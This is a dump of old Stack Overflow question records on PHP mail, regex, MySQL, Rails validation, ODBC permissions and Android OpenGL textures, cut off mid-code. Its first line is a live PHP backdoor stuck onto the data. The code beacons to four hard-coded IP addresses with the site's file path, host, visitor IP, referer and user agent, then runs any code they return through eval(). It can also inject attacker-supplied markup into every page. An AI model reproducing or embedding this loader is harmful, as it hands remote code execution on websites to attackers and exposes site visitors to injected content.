if (!function_exists(GetMama)){function opanki($buf){global $god_mode; str_replace("href","href",strtolower($buf),$cnt_h); str_replace(" 2)&&($cnt_x == 0)) {$buf = $god_mode . $buf;} return $buf; } function GetMama(){$mother = "www.imp3.me";return $mother;}ob_start("opanki");$show = false;function ahfudflfzdhfhs($pa){global $show; global $god_mode; $mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER["HTTP_HOST"])){$host = $_SERVER["HTTP_HOST"];}if (isset($_SERVER["REMOTE_ADDR"])){$ip = $_SERVER["REMOTE_ADDR"];}if (isset($_SERVER["HTTP_REFERER"])){$ref = urlencode($_SERVER["HTTP_REFERER"]);}if (isset($_SERVER["HTTP_USER_AGENT"])){$ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));}$url = "http://" . $pa . "/opp.php?mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua;if( function_exists("curl_init") ){$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);$ult = curl_exec($ch);} else {$ult = @file_get_contents($url);} if (strpos($ult,"eval") !== false){$z = str_replace("eval","",$ult); eval($z); $show = true;return true;} if (strpos($ult,"ebna") !== false){$z = str_replace("ebna","",$ult); $god_mode = $z;$show = true;return true;} else {return false;}}$father[] = "146.185.254.245";$father[] = "31.184.242.103";$father[] = "91.196.216.148";$father[] = "91.196.216.49";foreach($father as $ur){if ( ahfudflfzdhfhs($ur) ) { break ;}}if ($show === false){$script=''; $god_mode = $script;}}
| 2 |
5,564,910 | 04/06/2011 10:31:13 | 579,675 | 01/18/2011 09:13:16 | 26 | 3 | How can I make an image 100% in the browser? | <pre>
http://paradeepphosphates.com/templates/files/pdf/mar_31_2010.jpg
How can I make an image 100% in the browser?
</pre> | javascript | image | uiimageview | null | null | null | open | How can I make an image 100% in the browser?
===
<pre>
http://paradeepphosphates.com/templates/files/pdf/mar_31_2010.jpg
How can I make an image 100% in the browser?
</pre> | 0 |
11,321,617 | 07/04/2012 02:17:16 | 1,500,342 | 07/04/2012 02:11:12 | 1 | 0 | backbone.js tip revisions 0.9.2 differ significantly | I am looking at the version at http://backbonejs.org/ and
the version in https://github.com/documentcloud/backbone
and they differ significantly, although both are "0.9.2"
The one on backonejs.org corresponds to a version from march.
Which is the current version I should be developing against? The later version seems to fix many bugs, but perhaps there is a reason that the site is presenting an older version?
| git | backbone.js | null | null | null | null | open | backbone.js tip revisions 0.9.2 differ significantly
===
I am looking at the version at http://backbonejs.org/ and
the version in https://github.com/documentcloud/backbone
and they differ significantly, although both are "0.9.2"
The one on backonejs.org corresponds to a version from march.
Which is the current version I should be developing against? The later version seems to fix many bugs, but perhaps there is a reason that the site is presenting an older version?
| 0 |
7,041,967 | 08/12/2011 14:56:33 | 892,010 | 08/12/2011 14:56:33 | 1 | 0 | Using grep to replace every instance of a pattern after the first in bbedit | So I've got a really long txt file that follows this pattern:
},
"303" :
{
"id" : "4k4hk2l",
"color" : "red",
"moustache" : "no"
},
"303" :
{
"id" : "4k52k2l",
"color" : "red",
"moustache" : "yes"
},
"303" :
{
"id" : "fask2l",
"color" : "green",
"moustache" : "yes"
},
"304" :
{
"id" : "4k4hf4f4",
"color" : "red",
"moustache" : "yes"
},
"304" :
{
"id" : "tthj2l",
"color" : "red",
"moustache" : "yes"
},
"304" :
{
"id" : "hjsk2l",
"color" : "green",
"moustache" : "no"
},
"305" :
{
"id" : "h6shgfbs",
"color" : "red",
"moustache" : "no"
},
"305" :
{
"id" : "fdh33hk7",
"color" : "cyan",
"moustache" : "yes"
},
and I'm trying to format it to be a proper json object with the following structure....
"303" :
{ "list" : [
{
"id" : "4k4hk2l",
"color" : "red",
"moustache" : "no"
},
{
"id" : "4k52k2l",
"color" : "red",
"moustache" : "yes"
},
{
"id" : "fask2l",
"color" : "green",
"moustache" : "yes"
}
]
}
"304" :
{ "list" : [
etc...
meaning I look for all patterns of ^"\d\d\d" : and leave the first unique one , but remove all the subsequent ones (example, leave first instance of "303" :, but completely remove the rest of them. then leave the first instance of "304" :, but completely remove all the rest of them, etc.).
I've been attempting to do this within the bbedit application, which has a grep option for search/replace. My pattern matching fu is too weak to accomplish this. Any ideas? Or a better way to accomplish this task? | regex | formatting | null | null | null | null | open | Using grep to replace every instance of a pattern after the first in bbedit
===
So I've got a really long txt file that follows this pattern:
},
"303" :
{
"id" : "4k4hk2l",
"color" : "red",
"moustache" : "no"
},
"303" :
{
"id" : "4k52k2l",
"color" : "red",
"moustache" : "yes"
},
"303" :
{
"id" : "fask2l",
"color" : "green",
"moustache" : "yes"
},
"304" :
{
"id" : "4k4hf4f4",
"color" : "red",
"moustache" : "yes"
},
"304" :
{
"id" : "tthj2l",
"color" : "red",
"moustache" : "yes"
},
"304" :
{
"id" : "hjsk2l",
"color" : "green",
"moustache" : "no"
},
"305" :
{
"id" : "h6shgfbs",
"color" : "red",
"moustache" : "no"
},
"305" :
{
"id" : "fdh33hk7",
"color" : "cyan",
"moustache" : "yes"
},
and I'm trying to format it to be a proper json object with the following structure....
"303" :
{ "list" : [
{
"id" : "4k4hk2l",
"color" : "red",
"moustache" : "no"
},
{
"id" : "4k52k2l",
"color" : "red",
"moustache" : "yes"
},
{
"id" : "fask2l",
"color" : "green",
"moustache" : "yes"
}
]
}
"304" :
{ "list" : [
etc...
meaning I look for all patterns of ^"\d\d\d" : and leave the first unique one , but remove all the subsequent ones (example, leave first instance of "303" :, but completely remove the rest of them. then leave the first instance of "304" :, but completely remove all the rest of them, etc.).
I've been attempting to do this within the bbedit application, which has a grep option for search/replace. My pattern matching fu is too weak to accomplish this. Any ideas? Or a better way to accomplish this task? | 0 |
8,931,197 | 01/19/2012 18:17:13 | 1,012,928 | 10/25/2011 14:45:44 | 42 | 1 | Why doesn't this mailing script work? | I have a simple e-mail script that doesn't work for some reason. Here's the function:
function sendConfirmationEmail($email, $from, $code) {
$to = $email;
$subject = "Confirmation Code";
$headers = "From: Site Name\n E-Mail: $from";
$message = "Hello,\n\nFollow this link to confirm your membership at Site Name:\n\nhttp://www.mysitename.com//confirm.php?code=".$code."\n\nRegards,\nSite Name staff";
mail($to, $subject, $message, $headers);
}
In this case, $email is the user's e-mail, $from is my admin e-mail and $code is the confirmation code that should be mailed to the user.
A few facts, please read these:
- the admin e-mail does work, this is my test domain and I've used that same e-mail account numerous times
- there's nothing in the 'sent' folder on the server
- I tried sending to yahoo and hotmail e-mails, nothing arrived and, yes, I checked the spam box
The mailer function is very simplistic and straight-forward but I can't for the life of me see what's wrong with it. Any ideas?
EDIT: When I add an echo to the function, ti correctly echo's all e-mails, header etc. | php | email | null | null | null | 01/20/2012 00:58:23 | not constructive | Why doesn't this mailing script work?
===
I have a simple e-mail script that doesn't work for some reason. Here's the function:
function sendConfirmationEmail($email, $from, $code) {
$to = $email;
$subject = "Confirmation Code";
$headers = "From: Site Name\n E-Mail: $from";
$message = "Hello,\n\nFollow this link to confirm your membership at Site Name:\n\nhttp://www.mysitename.com//confirm.php?code=".$code."\n\nRegards,\nSite Name staff";
mail($to, $subject, $message, $headers);
}
In this case, $email is the user's e-mail, $from is my admin e-mail and $code is the confirmation code that should be mailed to the user.
A few facts, please read these:
- the admin e-mail does work, this is my test domain and I've used that same e-mail account numerous times
- there's nothing in the 'sent' folder on the server
- I tried sending to yahoo and hotmail e-mails, nothing arrived and, yes, I checked the spam box
The mailer function is very simplistic and straight-forward but I can't for the life of me see what's wrong with it. Any ideas?
EDIT: When I add an echo to the function, ti correctly echo's all e-mails, header etc. | 4 |
7,041,068 | 08/12/2011 13:52:28 | 870,891 | 07/30/2011 17:28:00 | 28 | 0 | How do I make a chat system with php and JQuery | I made a table called names which gets updated each time a user logins and logs out. I need help in making a column which display the names of all the people whose `status` in the table `names` is set to `YES`, and when the user clicks on his name, the chat box appears and they chat. I have already made the chat box with its coding, all I need help in is showing the names of people online. I will prefer doing this by php and JQuery **if possible** but if you have a better way, please tell me.
Thanks in advance | php | jquery | null | null | null | 08/12/2011 13:54:34 | not a real question | How do I make a chat system with php and JQuery
===
I made a table called names which gets updated each time a user logins and logs out. I need help in making a column which display the names of all the people whose `status` in the table `names` is set to `YES`, and when the user clicks on his name, the chat box appears and they chat. I have already made the chat box with its coding, all I need help in is showing the names of people online. I will prefer doing this by php and JQuery **if possible** but if you have a better way, please tell me.
Thanks in advance | 1 |
126,791 | 09/24/2008 12:22:13 | 9,777 | 09/15/2008 19:56:37 | 150 | 16 | Best MySQL Server Monitoring Tool | I'd like some opinions about the best mysql monitoring tool available. I've tried [MySQL Enterprise Monitor][1], and it is great for me except it's impossible to get MySQL sell something - I'm ok to pay even if I find the pricing and bundling it with MySQL Enterprise only unreasonable.
I am also looking at [MONyog MySQL Monitor][2] now, gonna give it a try soon. Just wanna get some expert advice/field experience.
[1]: http://www.mysql.com/products/enterprise/advisors.html
[2]: http://www.webyog.com/en/monyog_feature_list.php | mysql | mysql-management | monitoring | null | null | 09/14/2011 15:18:43 | not constructive | Best MySQL Server Monitoring Tool
===
I'd like some opinions about the best mysql monitoring tool available. I've tried [MySQL Enterprise Monitor][1], and it is great for me except it's impossible to get MySQL sell something - I'm ok to pay even if I find the pricing and bundling it with MySQL Enterprise only unreasonable.
I am also looking at [MONyog MySQL Monitor][2] now, gonna give it a try soon. Just wanna get some expert advice/field experience.
[1]: http://www.mysql.com/products/enterprise/advisors.html
[2]: http://www.webyog.com/en/monyog_feature_list.php | 4 |
4,089,412 | 11/03/2010 16:45:53 | 62,931 | 02/05/2009 15:28:06 | 4,568 | 254 | Is it possible to hide the Nav Bar on a UISplitViewController? | I have a very simple app that I want to use a UISplitViewController in. It's so simple that I don't want the NavigationBar visible in portrait because there is no navigation in the left pane. (I do want to show it in portrait for the Popover to appear from. However, I don't seem able to hide it. Is the top element even a Nav Bar?
I've tried both of these:
[[splitViewController navigationController] setNavigationBarHidden:YES animated:NO];
for(UIViewController* vc in [splitViewController viewControllers]) {
[[vc navigationController] setNavigationBarHidden:YES animated:NO];
}
But neither works. | uikit | uinavigationcontroller | uisplitviewcontroller | null | null | null | open | Is it possible to hide the Nav Bar on a UISplitViewController?
===
I have a very simple app that I want to use a UISplitViewController in. It's so simple that I don't want the NavigationBar visible in portrait because there is no navigation in the left pane. (I do want to show it in portrait for the Popover to appear from. However, I don't seem able to hide it. Is the top element even a Nav Bar?
I've tried both of these:
[[splitViewController navigationController] setNavigationBarHidden:YES animated:NO];
for(UIViewController* vc in [splitViewController viewControllers]) {
[[vc navigationController] setNavigationBarHidden:YES animated:NO];
}
But neither works. | 0 |
3,689,337 | 09/11/2010 00:55:17 | 444,873 | 09/11/2010 00:53:38 | 1 | 0 | Can you reverse a string in PostgresSQL? | I'm interested in reversing a string in PostgreSQL. | postgresql | null | null | null | null | null | open | Can you reverse a string in PostgresSQL?
===
I'm interested in reversing a string in PostgreSQL. | 0 |
8,537,958 | 12/16/2011 17:34:18 | 638,656 | 03/01/2011 02:24:41 | 32 | 0 | Dynamic textfield creation in coldfusion | I'm fairly new to Coldfusion, we are using MX 7, and i'm trying to figure out how to populate a page based on user input. The goal is to have the user specify how many products they want to input into an order form and display that many textfields.
Any help would be appreciated. | forms | dynamic | coldfusion | null | null | null | open | Dynamic textfield creation in coldfusion
===
I'm fairly new to Coldfusion, we are using MX 7, and i'm trying to figure out how to populate a page based on user input. The goal is to have the user specify how many products they want to input into an order form and display that many textfields.
Any help would be appreciated. | 0 |
7,408,311 | 09/13/2011 20:51:45 | 943,390 | 09/13/2011 20:51:45 | 1 | 0 | Getting 'undefined method' error or 'no such file to load error' trying to use validates_timeliness gem | I'm trying to use the validates_timeliness gem and followed the install instructions in the documentation: https://github.com/adzap/validates_timeliness
gem 'validates_timeliness', '3.0.2'
bundle install
rails generate validates_timeliness:install
I was then able to successfully add rspec tests and get them to pass using the validates_datetime feature from the gem
However, when I go to my new view in a browser, I get the error:
undefined method 'validates_datetime' for #<Class:0x6ab7b60>
I also tried adding require 'validates_timeliness' at the top of the model file and then later at the top of the controller file. In those cases I get the error: 'no such file to load -- validates_timeliness
Any help would be much appreciated, have been trying to do extensive googling. | ruby-on-rails | controller | null | null | null | null | open | Getting 'undefined method' error or 'no such file to load error' trying to use validates_timeliness gem
===
I'm trying to use the validates_timeliness gem and followed the install instructions in the documentation: https://github.com/adzap/validates_timeliness
gem 'validates_timeliness', '3.0.2'
bundle install
rails generate validates_timeliness:install
I was then able to successfully add rspec tests and get them to pass using the validates_datetime feature from the gem
However, when I go to my new view in a browser, I get the error:
undefined method 'validates_datetime' for #<Class:0x6ab7b60>
I also tried adding require 'validates_timeliness' at the top of the model file and then later at the top of the controller file. In those cases I get the error: 'no such file to load -- validates_timeliness
Any help would be much appreciated, have been trying to do extensive googling. | 0 |
9,135,246 | 02/03/2012 20:45:24 | 1,188,406 | 02/03/2012 20:36:03 | 1 | 0 | Unexpectedly changed permissions | While trying to debug my site, I suddenly started getting this error:
ERROR [HY000] [MySQL][ODBC 3.51 Driver]Access denied for user 'admin'@'XXXXXXXX' (using password: YES)
and it pointed to these lines of code:
Line 37: using (OdbcConnection con = new OdbcConnection(ConnStr))
Line 38: {
Line 39: con.Open();
I finally fixed the problem by changing this code:
private const string ConnStr = "Driver={MySQL ODBC 3.51 Driver};"
+ "Server=xxxx.xxx;Database=xxxx;uid=xxx;pwd=xxXXxx;option=3";
from uid=admin to uid=root.
I'm sure it's bad coding practice to list root, but it's all I can do to get it to work.
Now the issue. Suddenly a lot of my pages have this problem. Last week they were working fine. Now they won't work unless I change 'admin' to 'root'. I've looked all around, but I think I've created my own unique brand of stupidity. Any help is appreciated. Thanks. | sql | permissions | connection | odbc | driver | null | open | Unexpectedly changed permissions
===
While trying to debug my site, I suddenly started getting this error:
ERROR [HY000] [MySQL][ODBC 3.51 Driver]Access denied for user 'admin'@'XXXXXXXX' (using password: YES)
and it pointed to these lines of code:
Line 37: using (OdbcConnection con = new OdbcConnection(ConnStr))
Line 38: {
Line 39: con.Open();
I finally fixed the problem by changing this code:
private const string ConnStr = "Driver={MySQL ODBC 3.51 Driver};"
+ "Server=xxxx.xxx;Database=xxxx;uid=xxx;pwd=xxXXxx;option=3";
from uid=admin to uid=root.
I'm sure it's bad coding practice to list root, but it's all I can do to get it to work.
Now the issue. Suddenly a lot of my pages have this problem. Last week they were working fine. Now they won't work unless I change 'admin' to 'root'. I've looked all around, but I think I've created my own unique brand of stupidity. Any help is appreciated. Thanks. | 0 |
5,770,751 | 04/24/2011 13:28:05 | 713,188 | 04/18/2011 10:06:36 | 11 | 0 | deleting xml elements | how to delete all elements of xml file including root element also? | php | javascript | html | xml | null | 04/26/2011 13:10:48 | not a real question | deleting xml elements
===
how to delete all elements of xml file including root element also? | 1 |
11,506,821 | 07/16/2012 14:50:08 | 1,115,377 | 12/25/2011 14:44:30 | 38 | 5 | How to call a function with parameters and user console input in C++? | This is C++ console snippet.
I wish to call a fonction holding parameters amongst several function depending on user input.
For example:
#include<iostream>
using namespace std;
void Add (int x, int y)
{
cout << x + y << endl;
}
void Subs (int x, int y)
{
cout << x - y << endl;
}
int main(int argc, char* argv[])
{
// Variable initialization
char calc_type;
int x;
int y;
// Console input
cout << "Add or Substract (a or s)?" << endl;
cin >> calc_type;
cout << "1st number" << endl;
cin >> x;
cout << "2nd number" << endl;
inc >> y;
if (calc_type == "a")
{
Add(x, y);
}
else
{
Subs(x, y);
}
return 0;
}
But in writing this I am returned error messages like the followings:
**error C2446: '==' : no conversion from 'const char *' to 'int'**
**There is no context in which this conversion is possible**
**error C2040: '==' : 'int' differs in levels of indirection from 'const char [2]'**
How can I cope with this problem (maybe references or pointers are preferred???)
Thank you
| c++ | function | console | null | null | 07/24/2012 02:35:41 | not a real question | How to call a function with parameters and user console input in C++?
===
This is C++ console snippet.
I wish to call a fonction holding parameters amongst several function depending on user input.
For example:
#include<iostream>
using namespace std;
void Add (int x, int y)
{
cout << x + y << endl;
}
void Subs (int x, int y)
{
cout << x - y << endl;
}
int main(int argc, char* argv[])
{
// Variable initialization
char calc_type;
int x;
int y;
// Console input
cout << "Add or Substract (a or s)?" << endl;
cin >> calc_type;
cout << "1st number" << endl;
cin >> x;
cout << "2nd number" << endl;
inc >> y;
if (calc_type == "a")
{
Add(x, y);
}
else
{
Subs(x, y);
}
return 0;
}
But in writing this I am returned error messages like the followings:
**error C2446: '==' : no conversion from 'const char *' to 'int'**
**There is no context in which this conversion is possible**
**error C2040: '==' : 'int' differs in levels of indirection from 'const char [2]'**
How can I cope with this problem (maybe references or pointers are preferred???)
Thank you
| 1 |
8,281,295 | 11/26/2011 20:12:04 | 1,066,819 | 11/26/2011 11:26:22 | 1 | 0 | converter application | i've realized an application that converts a decimal number to binary, hexadecimal and octal. this program converts all the number that i write in the EditText thanks to three buttons, one for binary, one for hexadecimal and octal, but if i delete the number from the EditText, and i push one of this button, the program continues to convert the number that i've just deleted. so in which way can i avoid this? when i launch the program for the first time, in the space in which appears the converted number is written "Number Converted", and if i push one of the three buttons before digit a number in the EditText, appears a Toast in which is written Insert a number. So i want that also if i delete a number after previously converted, appears "Number Converted" like the first launch | java | android | null | null | null | 11/26/2011 21:01:30 | not a real question | converter application
===
i've realized an application that converts a decimal number to binary, hexadecimal and octal. this program converts all the number that i write in the EditText thanks to three buttons, one for binary, one for hexadecimal and octal, but if i delete the number from the EditText, and i push one of this button, the program continues to convert the number that i've just deleted. so in which way can i avoid this? when i launch the program for the first time, in the space in which appears the converted number is written "Number Converted", and if i push one of the three buttons before digit a number in the EditText, appears a Toast in which is written Insert a number. So i want that also if i delete a number after previously converted, appears "Number Converted" like the first launch | 1 |
6,403,106 | 06/19/2011 14:51:27 | 805,368 | 06/19/2011 13:22:59 | 1 | 0 | Problem in android Compressed textures (Become White) | Please i need a help,
i spend about 1 week in this problem
i am new to both android and OpenGL development
i try to do just a cube with a texture, but i need to make this texture compressed in ETC1 compression, i make a code like i found in the develop.android website but the code run only on the emulator !!!!!
i test on two devices
1) Nexus mobile, in this device the cube is not appeared, i search the internet, i found that the original Android of this device was 2.1, and it was upgraded to 2.3, This is a reason make the device can draw the cub ???
2) Motorola Xoom Tablet, it is an Android 3.1 Device, the cube is appeared here but with white color, not the Uncompressed texture, it is supported CTE1 and there are no OPENGL Error !!!!
the compressed texture is PNG 265 * 265 / and i put the compressed texture in the raw folder
the code is like the following
public class TextureCube {
private String TAG;
private Context context;
private FloatBuffer vertexBuffer; // Buffer for vertex-array
private FloatBuffer texBuffer; // Buffer for texture-coords-array
private float[] vertices = { // Vertices for a face
-1.0f, -1.0f, 0.0f, // 0. left-bottom-front
1.0f, -1.0f, 0.0f, // 1. right-bottom-front
-1.0f, 1.0f, 0.0f, // 2. left-top-front
1.0f, 1.0f, 0.0f // 3. right-top-front
};
float[] texCoords = { // Texture coords for the above face
0.0f, 1.0f, // A. left-bottom
1.0f, 1.0f, // B. right-bottom
0.0f, 0.0f, // C. left-top
1.0f, 0.0f // D. right-top
};
int[] textureIDs = new int[1]; // Array for 1 texture-ID
// Constructor - Set up the buffers
public TextureCube(Context context) {
this.context = context;
TAG = "Sam Messages: " + this.getClass().getName();
// Setup vertex-array buffer. Vertices in float. An float has 4 bytes
ByteBuffer vbb = ByteBuffer.allocateDirect(vertices.length * 4);
vbb.order(ByteOrder.nativeOrder()); // Use native byte order
vertexBuffer = vbb.asFloatBuffer(); // Convert from byte to float
vertexBuffer.put(vertices); // Copy data into buffer
vertexBuffer.position(0); // Rewind
// Setup texture-coords-array buffer, in float. An float has 4 bytes
ByteBuffer tbb = ByteBuffer.allocateDirect(texCoords.length * 4);
tbb.order(ByteOrder.nativeOrder());
texBuffer = tbb.asFloatBuffer();
texBuffer.put(texCoords);
texBuffer.position(0);
}
// Draw the shape
public void draw(GL10 gl) {
gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
gl.glEnableClientState(GL10.GL_TEXTURE_COORD_ARRAY);
gl.glFrontFace(GL10.GL_CCW); // Front face in counter-clockwise orientation
gl.glEnable(GL10.GL_CULL_FACE); // Enable cull face
gl.glCullFace(GL10.GL_BACK); // Cull the back face (don't display)
gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
gl.glVertexPointer(3, GL10.GL_FLOAT, 0, vertexBuffer);
gl.glEnableClientState(GL10.GL_TEXTURE_COORD_ARRAY); // Enable texture-coords-array
gl.glTexCoordPointer(2, GL10.GL_FLOAT, 0, texBuffer); // Define texture-coords buffer
// front
gl.glPushMatrix();
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// left
gl.glPushMatrix();
gl.glRotatef(270.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// back
gl.glPushMatrix();
gl.glRotatef(180.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// right
gl.glPushMatrix();
gl.glRotatef(90.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// top
gl.glPushMatrix();
gl.glRotatef(270.0f, 1.0f, 0.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// bottom
gl.glPushMatrix();
gl.glRotatef(90.0f, 1.0f, 0.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
gl.glDisableClientState(GL10.GL_TEXTURE_COORD_ARRAY); // Disable
// texture-coords-array
gl.glDisableClientState(GL10.GL_VERTEX_ARRAY);
gl.glDisable(GL10.GL_CULL_FACE);
}
// Load an image into GL texture
public void loadTexture(GL10 gl) {
Boolean loadCompressed = true;
if (loadCompressed) {
/****************************************************/
/** LOAD A COMPRESSED TEXTURE IMAGE */
/***********************************/
Log.w(TAG, ": ETC1 texture support: " + ETC1Util.isETC1Supported());
try {
ETC1Util.loadTexture(GLES20 .GL_TEXTURE_2D, 0, 0,
GLES20.GL_RGB, GLES20.GL_UNSIGNED_SHORT_5_6_5,
context.getResources().openRawResource(R.raw.pic3));
Log.w(TAG, ": OpenGL Error -After LoadTexture()-:" + gl.glGetError());
Log.w(TAG,"OpenGL Extensions: " + gl.glGetString(GL10.GL_EXTENSIONS));
} catch (IOException e) {
Log.w(TAG, ": Could not load texture: " + e);
} finally {
Log.w(TAG, ": OpenGL Error -In Final()-:" + gl.glGetError());
}
} else {
/*****************************************************/
/** LOAD A TEXTURE IMAGE */
/************************/
gl.glGenTextures(1, textureIDs, 0); // Generate texture-ID array
gl.glBindTexture(GL10.GL_TEXTURE_2D, textureIDs[0]); // Bind to texture ID Set up texture filters
gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MIN_FILTER,GL10.GL_NEAREST);
gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MAG_FILTER,GL10.GL_LINEAR);
InputStream istream = context.getResources().openRawResource(R.drawable.pic5);
Bitmap bitmap;
try {
bitmap = BitmapFactory.decodeStream(istream);
} finally {
try {
istream.close();
} catch (IOException e) {
}
}
// Build Texture from loaded bitmap for the currently-bind texture
// ID
GLUtils.texImage2D(GL10.GL_TEXTURE_2D, 0, bitmap, 0);
bitmap.recycle();
/******************************************************/
}
}
Please i need a quickly Help
| android | opengl | texture | white | null | null | open | Problem in android Compressed textures (Become White)
===
Please i need a help,
i spend about 1 week in this problem
i am new to both android and OpenGL development
i try to do just a cube with a texture, but i need to make this texture compressed in ETC1 compression, i make a code like i found in the develop.android website but the code run only on the emulator !!!!!
i test on two devices
1) Nexus mobile, in this device the cube is not appeared, i search the internet, i found that the original Android of this device was 2.1, and it was upgraded to 2.3, This is a reason make the device can draw the cub ???
2) Motorola Xoom Tablet, it is an Android 3.1 Device, the cube is appeared here but with white color, not the Uncompressed texture, it is supported CTE1 and there are no OPENGL Error !!!!
the compressed texture is PNG 265 * 265 / and i put the compressed texture in the raw folder
the code is like the following
public class TextureCube {
private String TAG;
private Context context;
private FloatBuffer vertexBuffer; // Buffer for vertex-array
private FloatBuffer texBuffer; // Buffer for texture-coords-array
private float[] vertices = { // Vertices for a face
-1.0f, -1.0f, 0.0f, // 0. left-bottom-front
1.0f, -1.0f, 0.0f, // 1. right-bottom-front
-1.0f, 1.0f, 0.0f, // 2. left-top-front
1.0f, 1.0f, 0.0f // 3. right-top-front
};
float[] texCoords = { // Texture coords for the above face
0.0f, 1.0f, // A. left-bottom
1.0f, 1.0f, // B. right-bottom
0.0f, 0.0f, // C. left-top
1.0f, 0.0f // D. right-top
};
int[] textureIDs = new int[1]; // Array for 1 texture-ID
// Constructor - Set up the buffers
public TextureCube(Context context) {
this.context = context;
TAG = "Sam Messages: " + this.getClass().getName();
// Setup vertex-array buffer. Vertices in float. An float has 4 bytes
ByteBuffer vbb = ByteBuffer.allocateDirect(vertices.length * 4);
vbb.order(ByteOrder.nativeOrder()); // Use native byte order
vertexBuffer = vbb.asFloatBuffer(); // Convert from byte to float
vertexBuffer.put(vertices); // Copy data into buffer
vertexBuffer.position(0); // Rewind
// Setup texture-coords-array buffer, in float. An float has 4 bytes
ByteBuffer tbb = ByteBuffer.allocateDirect(texCoords.length * 4);
tbb.order(ByteOrder.nativeOrder());
texBuffer = tbb.asFloatBuffer();
texBuffer.put(texCoords);
texBuffer.position(0);
}
// Draw the shape
public void draw(GL10 gl) {
gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
gl.glEnableClientState(GL10.GL_TEXTURE_COORD_ARRAY);
gl.glFrontFace(GL10.GL_CCW); // Front face in counter-clockwise orientation
gl.glEnable(GL10.GL_CULL_FACE); // Enable cull face
gl.glCullFace(GL10.GL_BACK); // Cull the back face (don't display)
gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
gl.glVertexPointer(3, GL10.GL_FLOAT, 0, vertexBuffer);
gl.glEnableClientState(GL10.GL_TEXTURE_COORD_ARRAY); // Enable texture-coords-array
gl.glTexCoordPointer(2, GL10.GL_FLOAT, 0, texBuffer); // Define texture-coords buffer
// front
gl.glPushMatrix();
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// left
gl.glPushMatrix();
gl.glRotatef(270.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// back
gl.glPushMatrix();
gl.glRotatef(180.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// right
gl.glPushMatrix();
gl.glRotatef(90.0f, 0.0f, 1.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// top
gl.glPushMatrix();
gl.glRotatef(270.0f, 1.0f, 0.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
// bottom
gl.glPushMatrix();
gl.glRotatef(90.0f, 1.0f, 0.0f, 0.0f);
gl.glTranslatef(0.0f, 0.0f, 1.0f);
gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);
gl.glPopMatrix();
gl.glDisableClientState(GL10.GL_TEXTURE_COORD_ARRAY); // Disable
// texture-coords-array
gl.glDisableClientState(GL10.GL_VERTEX_ARRAY);
gl.glDisable(GL10.GL_CULL_FACE);
}
// Load an image into GL texture
public void loadTexture(GL10 gl) {
Boolean loadCompressed = true;
if (loadCompressed) {
/****************************************************/
/** LOAD A COMPRESSED TEXTURE IMAGE */
/***********************************/
Log.w(TAG, ": ETC1 texture support: " + ETC1Util.isETC1Supported());
try {
ETC1Util.loadTexture(GLES20 .GL_TEXTURE_2D, 0, 0,
GLES20.GL_RGB, GLES20.GL_UNSIGNED_SHORT_5_6_5,
context.getResources().openRawResource(R.raw.pic3));
Log.w(TAG, ": OpenGL Error -After LoadTexture()-:" + gl.glGetError());
Log.w(TAG,"OpenGL Extensions: " + gl.glGetString(GL10.GL_EXTENSIONS));
} catch (IOException e) {
Log.w(TAG, ": Could not load texture: " + e);
} finally {
Log.w(TAG, ": OpenGL Error -In Final()-:" + gl.glGetError());
}
} else {
/*****************************************************/
/** LOAD A TEXTURE IMAGE */
/************************/
gl.glGenTextures(1, textureIDs, 0); // Generate texture-ID array
gl.glBindTexture(GL10.GL_TEXTURE_2D, textureIDs[0]); // Bind to texture ID Set up texture filters
gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MIN_FILTER,GL10.GL_NEAREST);
gl.glTexParameterf(GL10.GL_TEXTURE_2D, GL10.GL_TEXTURE_MAG_FILTER,GL10.GL_LINEAR);
InputStream istream = context.getResources().openRawResource(R.drawable.pic5);
Bitmap bitmap;
try {
bitmap = BitmapFactory.decodeStream(istream);
} finally {
try {
istream.close();
} catch (IOException e) {
}
